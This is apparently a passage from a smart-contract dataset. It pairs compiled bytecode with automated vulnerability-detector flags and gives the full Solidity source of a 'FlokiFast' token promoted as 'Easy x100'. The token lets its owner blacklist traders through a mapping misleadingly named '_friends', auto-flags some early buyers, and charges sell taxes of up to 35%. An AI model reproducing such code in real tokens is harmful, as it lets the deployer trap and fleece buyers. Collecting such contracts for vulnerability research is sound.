fffffff1660e01b8152600401602060405180830381865afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abf9190611bae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b309190611bae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611bae565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104f890611b1a565b600b811115610c7e5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f8565b600855565b6000546001600160a01b03163314610cad5760405162461bcd60e51b81526004016104f890611b1a565b6001600160a01b038116610d125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f8565b61051781611490565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6357610d63611b4f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de09190611bae565b81600181518110610df357610df3611b4f565b6001600160a01b039283166020918202929092010152600b54610e199130911684610e95565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e52908590600090869030904290600401611bcb565b600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610f585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b03821661107f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b600081116110e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6001600160a01b03831660009081526005602052604090205460ff16156111895760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f8565b6001600160a01b03831660009081526004602052604081205460ff161580156111cb57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e15750600c54600160a81b900460ff16155b80156112115750600c546001600160a01b03858116911614806112115750600c546001600160a01b038481169116145b156113c057600c54600160b81b900460ff1661126f5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f8565b50600c546001906001600160a01b03858116911614801561129e5750600b546001600160a01b03848116911614155b80156112ab575042600e54115b156112f25760006112bb846106b8565b90506112db60646112d5678ac7230489e8000060026114e0565b9061155f565b6112e584836115a1565b11156112f057600080fd5b505b600d54421415611320576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132b306106b8565b600c54909150600160b01b900460ff161580156113565750600c546001600160a01b03868116911614155b156113be5780156113be57600c8054611389916064916112d59190611383906001600160a01b03166106b8565b906114e0565b8111156113b557600c80546113b2916064916112d59190611383906001600160a01b03166106b8565b90505b6113be81610d1b565b505b6113cc84848484611600565b50505050565b600081848411156113f65760405162461bcd60e51b81526004016104f891906118e9565b5060006114038486611c3c565b95945050505050565b60006006548211156114735760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b600061147d611703565b9050611489838261155f565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114ef5750600061052b565b60006114fb8385611c53565b9050826115088583611c72565b146114895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061148983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611726565b6000806115ae8385611b96565b9050838110156114895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b808061160e5761160e611754565b60008060008061161d87611770565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164a90856117b7565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167990846115a1565b6001600160a01b03891660009081526001602052604090205561169b816117f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e091815260200190565b60405180910390a350505050806116fc576116fc600954600855565b5050505050565b6000806000611710611843565b909250905061171f828261155f565b9250505090565b600081836117475760405162461bcd60e51b81526004016104f891906118e9565b5060006114038486611c72565b60006008541161176357600080fd5b6008805460095560009055565b60008060008060008061178587600854611883565b915091506000611793611703565b90506000806117a38a85856118b0565b909b909a5094985092965092945050505050565b600061148983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d2565b6000611803611703565b9050600061181183836114e0565b3060009081526001602052604090205490915061182e90826115a1565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061185e828261155f565b82101561187a57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189660646112d587876114e0565b905060006118a486836117b7565b96919550909350505050565b600080806118be86856114e0565b905060006118cc86866114e0565b905060006118da83836117b7565b92989297509195505050505050565b600060208083528351808285015260005b81811015611916578581018301518582016040015282016118fa565b81811115611928576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051757600080fd5b803561195e8161193e565b919050565b6000806040838503121561197657600080fd5b82356119818161193e565b946020939093013593505050565b6000806000606084860312156119a457600080fd5b83356119af8161193e565b925060208401356119bf8161193e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119f957600080fd5b823567ffffffffffffffff80821115611a1157600080fd5b818501915085601f830112611a2557600080fd5b813581811115611a3757611a376119d0565b8060051b604051601f19603f83011681018181108582111715611a5c57611a5c6119d0565b604052918252848201925083810185019188831115611a7a57600080fd5b938501935b82851015611a9f57611a9085611953565b84529385019392850192611a7f565b98975050505050505050565b600060208284031215611abd57600080fd5b81356114898161193e565b60008060408385031215611adb57600080fd5b8235611ae68161193e565b91506020830135611af68161193e565b809150509250929050565b600060208284031215611b1357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8f57611b8f611b65565b5060010190565b60008219821115611ba957611ba9611b65565b500190565b600060208284031215611bc057600080fd5b81516114898161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1b5784516001600160a01b031683529383019391830191600101611bf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c4e57611c4e611b65565b500390565b6000816000190483118215151615611c6d57611c6d611b65565b500290565b600082611c8f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202cfaf88490e5b265f909b4ce6d0cf6d4686ce5d02090f8f4576c57abfacc9d5d64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,017
0x8ac9095c30776b81919b070bd577c55d33670874
/** * FlokiFast totalSupply : 1,000,000,000,000 liquidity : 60% totalBurn : 35% Marketing : 3% team dev : 2% ***** I will add 2 ETH to the Liquidity ***** * // FAIRLAUNCH // Easy x100 // Liquidity pool locked // Renounce // Contract verified on Etherscan tg: https://t.me/FlokiFast * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool) ; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiFast is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode" FlokiFast "; string private constant _symbol = unicode" FF "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600b81526020017f20466c6f6b694661737420000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600481526020017f2046462000000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161